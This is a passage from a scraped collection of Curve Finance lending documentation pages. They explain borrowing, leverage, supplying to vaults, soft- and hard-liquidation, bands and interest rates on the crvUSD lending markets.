of lending markets solely depends on the utilization of the supplied assets , unlike for minting markets which depend on various factors such as crvUSD price, pegkeeper debt, and other parameters. How much can you borrow against your collateral (LTV)? The maximum borrowable amount (LTV) is dependent on the parameter A and number of bands ( N ) chosen when creating a market. The more bands used, the higher the LTV. How does the LLAMMA liquidation process differ from other debt-based stablecoins? crvUSD uses an innovative mechanism to reduce the risk of liquidations. Instead of instantly triggering a liquidation at a specific price, a users collateral is converted into stablecoins across a smooth range of prices. Simulations suggest most price drops would result in the loss of just a few percentage points worth of collateral value, instead of the instant and total loss implemented by the liquidation process common to most debt-based stablecoins. What tokens can be used in lending markets? How to create a lending market? Curve lending is totally permissionless. Everyone can create markets. The only requirement is, that crvUSD is either the borrowable or collateral token. Although creating a market is totally permissionless, some important parameters need to be simulated ahead of deployment. What is a 'loan discount' and what impact does it have? A 'loan discount' is a percentage applied to reduce the value of collateral for determining the maximum borrowable amount. A higher loan discount results in a lower borrowing limit, acting as a safety margin for lenders against collateral value declines. The maximum amount that can be borrowed is also influenced by other factors, such as market conditions and asset volatility. For more details on these factors and their impact on borrowing, see the technical documentation at https://docs.curve.fi/crvUSD/amm/ . What is the difference between self-liquidating and repaying? You cannot self-liquidate a partial amount of a loan, self-liquidating closes the loan, but you can repay a partial amount, e.g., 20% of the debt, this increases the health of the loan. If the repayment takes you out of soft-liquidation, your bands may move. When repaying and self-liquidating the whole loan, repaying and self liquidating work slightly differently, let's show this using a market lending crvUSD using WETH as collateral: For self-liquidating, if some WETH has been converted to crvUSD during soft-liquidation, then the user must transfer the difference between the crvUSD held as collateral and the debt. When repaying with crvUSD, you must transfer enough crvUSD to cover the debt, and you receive all the collateral in return. However in new markets (markets with leverage), it's possible to repay with collateral. In this case, the user does not need to send anything, all collateral is transferred to crvUSD, and the user receives back any crvUSD left after debt is repaid. Liquidation Process What is my liquidation price? When creating a loan, collateral is deposited and equally distributed over a range of prices, not just a single liquidation price. Should the price fall within this range, the collateral begins its conversion into crvUSD. This process aids in maintaining the loan's health and, under most conditions, wards off liquidation. As a result, there isn't one specific liquidation price. When depositing collateral, how do I adjust and select my collateral deposit price range? The price range can be optionally adjusted and customized during the initial loan creation process. In the UI, the \"Advanced Mode\" toggle provides further insights into this range. What happens when the collateral price drops into my selected range? (soft-liquidation) Each lending market is linked to a LLAMMA, which is a special AMM. If the collateral price falls into the selected range, this collateral becomes tradable in the AMM. At this juncture, traders have the opportunity to acquire the collateral, substituting it with crvUSD. Consequently, the loan becomes collateralized by stablecoins, known for their more reliable value retention, contributing to the sustained health of the loan. What happens if the collateral price recovers? (de-liquidation) As the collateral price increases, the aforementioned process reverses. The position undergoes trading through the AMM, transitioning from crvUSD back to the original form of collateral. Owing to AMM trading fees, it's typical for a slight percentage of the original collateral value to be diminished once the collateral price surpasses the upper limit of the predetermined liquidation range. Under what circumstances can I be liquidated? (hard-liquidation) Should a loan's health drop below 0%, it becomes eligible for liquidation. In this scenario, the collateral is sold off, and the position closes. Although the crvUSD collateral conversion mechanism within the AMM is designed to protect against liquidations, it might not keep up with severe price fluctuations. It is advisable for borrowers to maintain their loan health, especially when prices fall within the selected liquidation range. How do I maintain my loan health if collateral price drops into my range? When the collateral price falls into the liquidation range, adding new collateral to protect loan health is not permitted. Within this liquidation range, loan health can only be improved by repaying debt. Even minimal debt repayments can be effective in preventing liquidation while the collateral price resides within this range. What happens to the collateral in the event of hard liquidation? In the event of a hard liquidation, all available collateral is sold off by the AMM system, the debt is covered, and the loan is closed. What is a liquidation discount and how is the 'liquidation discount' calculated during a liquidation? The 'liquidation discount' is calculated based on the collateral's market value and is designed to incentivize liquidators to participate in the liquidation process. This factor is used to effectively discount the collateral valuation when calculating the health for liquidation purposes. In other protocols, this may be referred to as a liquidation threshold and is often hard-coded instead of calculated dynamically. Interest Rate What is the borrow rate? The borrow rate is the variable interest rate charged on the debt of the loan. The borrow rate is solely determined by the utilization of the market. How is the borrow rate calculated? For the calculation of the borrow rate, see here . What is the lend rate? The lend rate is the variable interest rate a lender receives in exchange for lending out their assets to borrowers. How is the lend rate calculated? For the calculation of the lend rate, see here . Safety and Risks What are the risks of using crvUSD A risk disclaimer can be found here How can I best manage my risks when borrowing assets? Best risk management practices include maintaining a safe collateralization ratio, understanding the potential for liquidation, and keeping an eye on market conditions. Has the lending system been audited? Yes. All public audits can be found here . Can I see the code? The code is publicly available on the Curve Github . New Curve pools such as stableswap-ng, twocrypto-ng, or tricrypto-ng provide a suitable oracle. Back to top", "labels": ["Documentation"]}, {"title": "How to Borrow & Use Leverage", "html_url": "https://resources.curve.fi/lending/how-to-borrow/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Borrow & Use Leverage Table of contents Borrowing UI Creating A New Loan Loan Management Collateral Tab Add collateral Remove collateral Manage Loan Tab Borrow More Repay Self-liquidate How to take out a leverage loan Closing a leveraged loan How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Borrowing UI Creating A New Loan Loan Management Collateral Tab Add collateral Remove collateral Manage Loan Tab Borrow More Repay Self-liquidate How to take out a leverage loan Closing a leveraged loan Home Curve Lending How to Borrow & Use Leverage Borrowing UI When selecting the \"BORROW\" tab from the main UI , all relevant market information and values for borrowers are displayed: Collateral displays the collateral token of the market, while Borrow shows the token which can be borrowed. The leverage column shows whether or not built-in leverage is available in the market. Borrow APY represents the current borrow rate . The Available column shows the amount of assets left to borrow and Borrowed is the total amount currently borrowed. Supplied shows the total amount of the borrowable token which has been supplied by users. The Utilization (%) is the ratio of Borrowed to Supplied tokens, see here for more information. Creating A New Loan In order to create a loan and borrow tokens against collateral, a user first needs to choose a lending market. This can simply be done by clicking the desired market. Having \"Advanced Mode\" activated when creating a loan allows the user to additionally select the number of bands for the loan and displays the corresponding liquidation range. If deactivated, the loan will be created with a default amount of 10 bands. Advanced Mode can be toggled on the top right of the page. Number of Bands (N) A higher number of bands results in fewer losses when the loan is in soft-liquidation mode. The maximum number of bands is 50, while the minimum is 4. Additionally, the UI shows the future borrow APY when the user's loan is created and the loan-to-value (LTV) ratio. Advanced mode also enables an overview of the entire LLAMMA including important values such as lend or borrow APY, available amount to borrow, etc. Down below, a section containing relevant contracts and the current parameters for the lending market is displayed. Fee : The current exchange fee for swapping tokens in the AMM. Admin Fee : The percentage of the total fee, which is awarded to veCRV holders. Currently, all fees go to liquidity providers in the AMM (which are the borrowers). A : The amplification parameter A defines the density of liquidity and band size. Loan Discount : The percentage used to discount the collateral for calculating the maximum borrowable amount when creating a loan. Liquidation Discount : The percentage used to discount the collateral for calculating the recoverable value upon liquidation at the current market price. Base Price : The base price is the price of the band number 0. Oracle Price : The oracle price is the current price of the collateral as determined by the oracle. The oracle price is used to calculate the collateral's value and the loan's health. Navigating to the \"Your Details\" tab displays all the user's loan details: 1 Loan Management Loan Management when in soft-liquidation mode During soft-liquidation, users are unable to add or withdraw collateral. They can choose to either partially or fully repay their crvUSD debt to improve their health ratio or decide to self-liquidate their loan if their collateral composition contains sufficient crvUSD to cover the outstanding debt. If they opt for self-liquidation, the user's debt is fully repaid and the loan will be closed. Any residual amounts are then returned to the user. Understanding how soft-liquidations, loan health and hard-liquidations work is essential for understanding how to manage loans on Curve. Be sure to read and understand the following sections before taking out a loan: Understanding Soft-Liquidations Understanding Loan Health & Hard-Liquidations The rest of this section talks about how to use the UI to manage loans and collateral. Collateral Tab The \"Collateral\" tab allows the adjustment of collateral: Add collateral Add more collateral to the loan. This is not possible while in soft-liquidation. If health is getting low, some debt must be repaid instead of adding more collateral . Remove collateral Remove collateral from the loan. Manage Loan Tab The \"Manage Loan\" tab has the following options: Borrow More Borrow more simply allows the user to borrow more debt and add more collateral at the same time. Repay Repay has the following options, and all options allow the user to partially or fully repay their loans. If only a partial repayment is done then the liquidation range will change for the user. Repay From Collateral will remove the collateral (e.g., WETH or crvUSD) out of the lending market, convert them all to the debt asset if required (e.g., crvUSD), and send any leftover debt asset (e.g., crvUSD) back to the user if the loan is fully paid and closed. Note this is only available on new markets (markets which allow leverage allow this feature). For older markets it's required to repay with the debt token. Repay from wallet has two boxes, one for the collateral asset, and one for the debt asset: Collateral asset, e.g., WETH : this works the same way as Repay From Collateral , all sent WETH would be converted to crvUSD, debt would be repaid and any remaining crvUSD transferred back to the user if the loan is fully paid and closed. Debt asset, e.g., crvUSD : this repays the debt with the sent crvUSD. If all debt is repaid the loan is closed and all collateral in the lending market is sent back to the user, in the above case the user would receive back their WETH. Self-liquidate This allows a user to liquidate themselves before they get hard-liquidated. Users using this feature will most likely already be in soft-liquidation. This lets the user retrieve their collateral and stops them from losing the amount defined by the liquidation_discount . Let's look at user called Alice who intially borrowed 1000 crvUSD using 1 WETH as collateral for how this works. Alice is in soft liquidation and her health is getting low. In soft liquidation 0.2 WETH has been converted to 250 crvUSD, so she now has 0.8 WETH and 250 crvUSD backing her 1000 crvUSD loan. Alice wants to self liquidate. Alice only needs to send 750 crvUSD to self-liquidate, because she already has 250 crvUSD of collateral, both these amounts together will pay off the 1000 crvUSD debt. Alice then receives back her 0.8 WETH. How to take out a leverage loan All new lending markets allow users to use leverage. E.g., the WBTC market below allows up to 11x leverage when borrowing from this lending market. 11x leverage means 10x the deposited amount of WBTC is borrowed as crvUSD and swapped to WBTC using 1inch. Info If the market does not display a value in the leverage column, then leverage can still be built up manually by looping . Click on the desired market with leverage, then navigate to the leverage tab next to the create loan tab shown here: After navigating to the leverage tab, the following options will be displayed: This shows all the information and options to open a leveraged loan. Notice that the ADD FROM WALLET allows both assets to be added to the loan. In this market a user could add WBTC, or crvUSD or both. See the information about depositing a combination of assets for how this works. The BORROW AMOUNT lets the user specify how much they would like to borrow. If Advanced Mode is enabled , then the user can click on the adjust button next to the liquidation range. This allows a user to change the number of bands N for their liquidation range. An example of this is shown below with the other loan details: Leverage is calculated using the following formula: \\[ \\text{Leverage} = \\frac{\\text{value deposited} + \\text{value borrowed}}{\\text{value deposited}}\\] For example if $10,000 crvUSD and $10,000 of WBTC is deposited ($20,000 value total deposited) and the user borrows $80,000 crvUSD, then leverage is 5x. Expected and Expected avg. price both relate in this case to how much WBTC is expected to be received after swapping the borrowed crvUSD, and what the expected average price for swapping is. Expected has collapsible details which shows the route the assets will be swapped through. These swaps are always provided by 1inch . An example of these details are provided below and show that 125 crvUSD will be swapped to 0.0019074 WBTC. Price impact is the difference between the oracle price and the average swap price. Band range is the starting and finishing bands of liquidity for the loan, e.g., \"4 to 13\" means the loan will begin soft-liquidation in band 4, and finish in band 13. Price range shows the Band range but as a price range, e.g., band 4 to 13 could be a price range like 52,994 to 60,607. See here for more information about bands. Health is how healthy the loan is, this value must be positive, if it is less than or equal to 0 then the loan can be hard liquidated. See here for more information about health. Borrow APY shows the interest rate before and after the loan is created. Loan to Value Ratio shows the deposited collateral value compared to the borrowed collateral. Estimated TX Cost shows the gas cost in USD. Slippage tolerance is the maximum slippage allowed when swapping. Before taking out a loan, a screen will appear showing the details of the loan, for example: Then the tokens which will be used as collateral need to be approved and then the loan can be taken out by clicking the Get Loan and sending the transaction. Closing a leveraged loan Closing a leveraged loan can be done in 2 ways, either through repaying , or self-liquidating . The most efficient of these options is to Repay with collateral . This removes all collateral, swaps it to the same token as the debt, repays the debt and transfers the rest back to the user. Otherwise the debt needs to be fully repaid to close the loan, and as this is a leveraged loan, the debt may be higher than the user's available assets, making this unviable. This tab will only show up if a user has a loan and their wallet is connected to the site. Back to top", "labels": ["Documentation"]}, {"title": "How to Supply (Lend)", "html_url": "https://resources.curve.fi/lending/how-to-supply/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Liquidations How to Borrow & Use Leverage How to Supply How to Supply Table of contents Supplying UI How do Supply Vaults work? Depositing Assets Staking Assets Unstaking Assets Withdrawing Assets Claiming Rewards Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Supplying UI How do Supply Vaults work? Depositing Assets Staking Assets Unstaking Assets Withdrawing Assets Claiming Rewards Home Curve Lending How to Supply (Lend) Supplying UI By choosing the \"SUPPLY\" tab from the main UI , all relevant market information and values for lenders are displayed: Supply shows the underlying token of the vault which can be supplied. Lend APY is the current annualized rate for doing so. Additionally, vaults can have gauges, which are eligible to receive CRV emissions once they are added to the GaugeController. These rewards will show up in the Rewards APR / CRV + Incentives column if there are any. See here for information about what's required to have CRV rewards. TVL displays the total value locked into the vault. How do Supply Vaults work? Liquidity for borrowers is provided in ERC-4626 vaults . For detailed documentation on how they work, please check out the official Ethereum documentation or visit the technical docs of Curve . These vaults are yield-bearing , meaning there is no need for the user to claim awarded rewards for lending out their assets 1 . The shares they receive for depositing assets into the vault increase in value because the balance of the underlying asset increases due to the dynamics of interest rates. Depositing Assets In order to supply tokens to the vault, the user must specify the amount of underlying tokens to add . Underlying tokens are referred to as the asset in the vault, which is the asset that's borrowed. When depositing, the UI previews the amount of shares to receive and projects the lend APY after the deposit. For depositing, there is no cap. Users can deposit as much as they want. Staking Assets After depositing, if desired, users can stake their vault shares into the corresponding gauge (if there is one) under the \"Stake\" tab. This allows the user to receive Rewards APR if there is any available. Click on the Deposit -> Stake tab to deposit your assets. By staking your supply vault shares you are sending them to the Rewards Gauge, you retain ownership, but they are nontransferable while staked. Staking requires a transaction. Liquidity gauges of vaults can be added to the GaugeController in order to be eligible to receive CRV emissions or external rewards can be added to the gauge by the deployer. Unstaking Assets Unstaking withdraws your Vault Shares from the Rewards Gauge to your address. It requires a transaction to unstake. Unstaking and claiming rewards can be done together in a single transaction. It can be done from the Withdraw -> Unstake tab of the Supply UI for the lending market you've supplied to. You must Unstake your Vault shares before being able to Withdraw . Withdrawing Assets If a user already has some shares, they can withdraw a desired amount of the underlying asset under the \"Withdraw\" tab. There is also a \"Withdraw in full\" option, which burns all the user's shares and converts them into the underlying asset 2 . The UI previews the amount of shares to be burned in order to receive the underlying tokens. If a user has staked the vault shares in a gauge, they are required to unstake them under the \"Unstake\" tab before being able to withdraw. Lending Rates when Depositing or Withdrawing Assets When depositing underlying assets into the vault, the lending rate may decrease depending on the amount of assets added. The reason for this is that when supplying additional assets, the market's Utilization Rate will decrease (as there are now more assets to borrow from), which simultaneously decreases the borrow rate. When the borrow rate decreases, the lending rate decreases as well. Vice versa: Withdrawing assets from the vault reduces the total amount of assets. This drives the utilization rate up, which increases the borrow rate and therefore also the lending rate. See here for more information about Utilization and how it affects lending and borrow rates Claiming Rewards Any rewards from a Rewards APR will be available under the Withdraw -> Claim Rewards tab here: Claiming rewards requires a transaction, however unstaking and claiming together can be done in a single transaction. Having \"Advanced Mode\" enabled adds a full overview of the vault. If a user has shares, the user can view their personal vault information on the \"Your Details\" tab. This does not apply to rewards awarded from liquidity gauges. They need to be claimed under the \"Withdraw\" -> \"Claim Rewards\" tab. This method will only work if the vault has enough underlying assets to fully redeem all the shares. Back to top", "labels": ["Documentation"]}, {"title": "Leverage", "html_url": "https://resources.curve.fi/lending/leverage/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Leverage Leverage Table of contents How Leverage Works Leverage Looping Built-in Leverage Depositing a combination of assets Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents How Leverage Works Leverage Looping Built-in Leverage Depositing a combination of assets Home Curve Lending Leverage This section explains how leverage works, if you would like to know how to take out a leverage loan, see How to take out a leverage loan section of the how to borrow page. How Leverage Works Leverage on Curve Lending allows a user to multiply their gains (and losses) by the amount of leverage they desire. For example, if a user is borrowing crvUSD with WETH collateral at 2x leverage, they will make twice as much profit in crvUSD compared to just holding their WETH without leverage (not accounting for borrowing rates). Let's look at a few quick examples: ETH starting price ETH end price Deposited Collateral Borrowed Collateral Total Collateral Leverage Profit ETH Profit 1000 crvUSD 2000 crvUSD 1 ETH 0 ETH 1 ETH 1x 1000 crvUSD 0 1000 crvUSD 2000 crvUSD 1 ETH 1 ETH 2 ETH 2x 2000 crvUSD 1 ETH 1000 crvUSD 2000 crvUSD 1 ETH 2 ETH 3 ETH 3x 3000 crvUSD 2 ETH Warning Multiplied profits from leverage also means multiplied loses when prices decrease. Leverage Looping Anyone can create their own leverage in any lending market, let's see how it can be done: In the above example Alice can create her own leverage by simply continually depositing her WETH, borrowing crvUSD, swapping the borrowed crvUSD back to WETH, and then depositing the new WETH, and borrowing more crvUSD. This process can be repeated as much as desired, but each time the user will loop less and less as the loan LTV is always less than 100%. If 1 WETH is worth 3,000 crvUSD and the user has borrowed 6,000 crvUSD then that is called 2x leverage. Built-in Leverage Some Curve Lending markets allow leverage without doing the looping strategy mentioned above. This built-in leverage allows the user to achieve their desired leverage using a single transaction. Only some lending markets have this functionality, below is a image of the lending UI which shows the WBTC market. This market allows a leverage of up to 11x. Built-in leverage works and can be used in the following way: Depositing a combination of assets Instead of depositing only WETH, Curve Lending also lets Alice deposit crvUSD and WETH together. If Alice chooses to do this, then any crvUSD she deposits will be added to the borrowed crvUSD and converted to WETH through 1inch before it's all deposited into the lending market, let's look at that quickly below. Note: as Alice's total collateral is still worth 3,000 crvUSD (1,500 crvUSD + 0.5 WETH), with 5x leverage she still borrows 12,000 crvUSD (4x her deposited collateral). Also, the repayments transaction and profit made in this instance work exactly the same as shown in the other image above as all the collateral is converted to WETH even though she deposited WETH and crvUSD together. Back to top", "labels": ["Documentation"]}, {"title": "Curve Lending Overview", "html_url": "https://resources.curve.fi/lending/overview/", "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve & Stableswap (v1) CRV Token CRV Token Overview & Tokenomics Supply & Distribution CRV & veCRV FAQ Locked CRV (veCRV) Locked CRV (veCRV) Overview How to Lock CRV Claiming Trading Fees Fee Collection & Distribution Curve Stablecoin (crvUSD) Curve Stablecoin (crvUSD) Understanding crvUSD Loan Creation & Management Liquidations Loan Strategies Loan Concepts In Depth crvUSD FAQ Curve Lending Curve Lending Overview Overview Table of contents Overview Markets Supplying (Lending) Depositing and Withdrawing Supply Vault Share Tokens Rewards APR Borrowing Soft-liquidation Health & Hard-Liquidation Leverage Utilization, Lend APY and Borrow APY Utilization Rate Borrow Rate Borrow Rate for assets with a crvUSD Minting Market Borrow Rate for all other Assets Lend Rate More Information Leverage Liquidations How to Borrow & Use Leverage How to Supply Lending FAQ How to Create a Lending Market Pools Pools Overview Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Depositing into the tri-pool Depositing into a metapool Depositing into a cryptoswap-pool Depositing into a tricrypto-pool Pool Creation Pool Creation Pool Creation Overview Creating a Stableswap NG Pool Creating a Twocrypto NG Pool Creating a Tricrypto NG Pool Understanding oracles Reward Gauges Reward Gauges Overview Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding Governance Voting Community Fund Proposals Proposals Creating a DAO proposal Multi-Chain Multi-Chain CRV crvUSD Understanding multi-chain Bridging funds How to Bridge crvUSD to BSC Support & Troubleshooting Support & Troubleshooting Support Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Risks, Security & Audits Risks, Security & Audits Risks Risks Liquidity Pools crvUSD Lending Security & Audits Whitepapers Whitepapers Curve Stableswap (2019) Curve DAO (2020) Curve Cryptopools (2021) Curve Stablecoin (2022) Links Links Curve.fi Curve DAO Curve News Discord Github Governance Forum Twitter Technical Docs Telegram Glossary Branding & Icons Table of contents Overview Markets Supplying (Lending) Depositing and Withdrawing Supply Vault Share Tokens Rewards APR Borrowing Soft-liquidation Health & Hard-Liquidation Leverage Utilization, Lend APY and Borrow APY Utilization Rate Borrow Rate Borrow Rate for assets with a crvUSD Minting Market Borrow Rate for all other Assets Lend Rate More Information Home Curve Lending Curve Lending Overview Curve Lending allows users to borrow crvUSD against any collateral token or to borrow any token against crvUSD, while benefiting from the soft-liquidation mechanism provided by LLAMMA . This innovative approach to overcollateralized loans enhances risk management and user experience for borrowers. Additionally, Curve Lending allows users to generate interest through lending (supplying) their assets to be borrowed by others. Collateral in Lending Markets DO NOT back crvUSD The collateral used in Curve Lending markets does not back crvUSD. All crvUSD within Curve Lending is supplied by users . Conversely, minting new crvUSD requires high-quality crypto collateral approved by the DAO. The crvUSD minting system is separate from the lending markets . See here for more differences between Curve Lending and minting crvUSD . Curve Lending Risk Disclaimer Full risk disclaimer on using Curve Lending can be found here Borrowers Borrowers are the ones borrowing assets . To do so, they create a loan and put up some collateral. In exchange for borrowing, they pay a certain Borrow Interest Rate (Borrow APY) . How to Borrow Lenders Lenders supply their assets so they can be loaned to borrowers . To do so, they deposit their assets into a Vault . In exchange for supplying their assets, they are awarded a Lending Interest Rate . How to Supply (Lend) Overview Let's take a look at a single market to see the basics of how it works: Let's breakdown the different entities and their roles in this market: Entity Role Business Llama Business Llama represents the lending market and smart contracts in the system. This llama uses CRV as collateral, and lends out crvUSD. Business Llama charges interest on crvUSD users borrow (Borrow APY) , and pays interest to lenders who supply crvUSD (Lend APY) . Bob Bob always thinks the market will crash, so he supplies his crvUSD and Business Llama lends it out and pays Bob interest (Lend APY) . Alice Alice wants to go trade meme coins but doesn't want to sell her CRV, so she deposits CRV and uses it as collateral to borrow crvUSD . She feels safe knowing she's better protected here with LLAMMA and soft-liquidations than other lending markets. She is charged the Borrow APY on her debt while the loan is open. Charlie & Daisy Charlie and Daisy are just talking to the wrong Business Llama (lending market). All Curve Lending Markets are one-way, and isolated. They need to go and find the Business Llama that lends out CRV with crvUSD collateral. (Business llama with the red background here ) Markets There are many Curve Lending markets listed on the main UI . Each market uses a single type of collateral, and make loans in a single asset ( all markets are one-way , and all markets are isolated ). Some of the markets available are pictured below (we've used llamas in suits to illustrate different markets), but there are many more available, and new markets can be permissionlessly deployed by anyone, at anytime (as long as the asset has a suitable price oracle ). Note: All markets are paired with crvUSD. crvUSD must be either the collateral or the coin being borrowed. Supplying (Lending) Earning interest for supplying assets to Curve Lending is simple. Let's have a look at an example where Bob lends his crvUSD for a year and how much he earns: So after 1 year Bob earned 20 crvUSD and $20 worth of CRV , this equates to an APR of 40% over that year. Depositing and Withdrawing After depositing to a lending market your assets are added to the pool of available supply . You can withdraw a supplied asset provided there are sufficient available (un-borrowed) assets in the market. For example in the below image Bob could have withdrawn up to 1200 crvUSD from the market, but he only withdrew 300 crvUSD. If there are insufficient available assets for a full withdrawal, you can withdraw the maximum amount currently available. The high utilization rate will cause Borrow APY and Lend APYs to increase, incentivizing borrowers to repay their loans, and more lenders to supply. As available supply increases you can withdraw your remaining balance over time. Bad Debt Bad debt is rare, but if it exists within a lending market, it may be impossible to withdraw supplied assets , as it locks supplied assets as \"borrowed\" indefinitely. It is recommended not to supply assets to markets with large amounts of bad debt. Use this notebook or see the code on github here to find which markets have bad debt. At the time of writing (May, 2024) no bad debt exists on Ethereum markets. On Arbitrum, two markets have bad debt - CRV/crvUSD: 1700 crvUSD bad debt, FXN/crvUSD: 39,000 crvUSD bad debt. Supply Vault Share Tokens By Supplying assets on Curve Lending, you are given Supply Vault Shares ( more info here ). These are tokens representing your share of the total supply . The value of these shares increases by Lend APY . When you withdraw your supplied assets, the Vault Shares you had previously deposited are returned to the Lending Market. At this point, you receive the current value of the Vault Shares you are returning. This is how your interest on the supplied assets accrues. By withdrawing your assets, you effectively claim the interest that has been earned on your initial deposit during the time it was being lent out in the market. Rewards APR Rewards APR is a combination of CRV emission rewards and any other incentives provided to suppliers. Rewards accrue altogether and can be claimed at any time. Rewards APR is ONLY given to Suppliers STAKED in the Liquidity Gauge You MUST stake your Supply Vault Shares in the Lending Market's Liquidity Gauge to receive Reward APR. You will not get any Rewards APR if you DO NOT stake . See here For a market to have CRV rewards the following conditions must be met: The Curve DAO must vote to add a Liquidity Gauge to the GaugeController for that specific lending market The liquidity gauge must receive a positive gauge weight through votes from veCRV holders. This will result in CRV being emitted to the liquidity gauge. Due to the boosting mechanism of liquidity gauges, the Reward APR will be displayed as a range based on the user's boost factor. Learn more about boosting here . Other incentives can be added by anyone, i.e., if a project wants to incentivize their token being used as collateral they may add incentives to a Lending Market. See here for more details and how to add them. Borrowing When borrowing from Curve Lending Markets, you are taking an overcollateralized loan against deposited assets (e.g., borrowing crvUSD with CRV collateral). In exchange, you are charged the Borrow APY on the borrowed assets . Collateral is deposited into each lending market's LLAMMA system and split evenly across the chosen number of bands (N). Each band represents a small liquidation price range, with an upper and lower limit. If the oracle price enters one of your bands, soft-liquidation begins . Your loan is safe while the oracle price is higher than any of your bands . See the image below for a breakdown of how supplied assets are borrowed, and how collateral is deposited into bands. By minimizing the number of bands (N=4), you can maximize the amount you borrow (LTV), just like Charlie. Alice, however, prefers spreading his liquidity, so he chooses 10 bands (N=10) and does not maximize his borrowing. This explains why Charlie's loan is split into bands 3-12, while Alice's is split into bands 1-4. When you borrow, you can choose to split your collateral into any number of bands from 4 to 50 . There is no set rule for whether fewer or more bands are better . Different numbers of bands are better in different scenarios: More bands equate to having fewer losses in soft-liquidation, but this also widens your Liquidation Range, potentially extending the duration of soft-liquidation. Fewer bands will narrow your Liquidation Range, causing your collateral to be traded more aggressively, but you may remain in the Liquidation Range for a shorter time. Soft-liquidation Soft-liquidation is a mechanism that gradually exchanges collateral (e.g., WETH) for the borrowed asset (e.g., crvUSD) as the collateral's value declines, avoiding the need for a single large liquidation. It also reverses this process if the collateral's value rises. The system sells collateral at a small discount, which increases with market volatility. Users undergoing soft-liquidation experience minor losses over time (in crvUSD minting markets typical 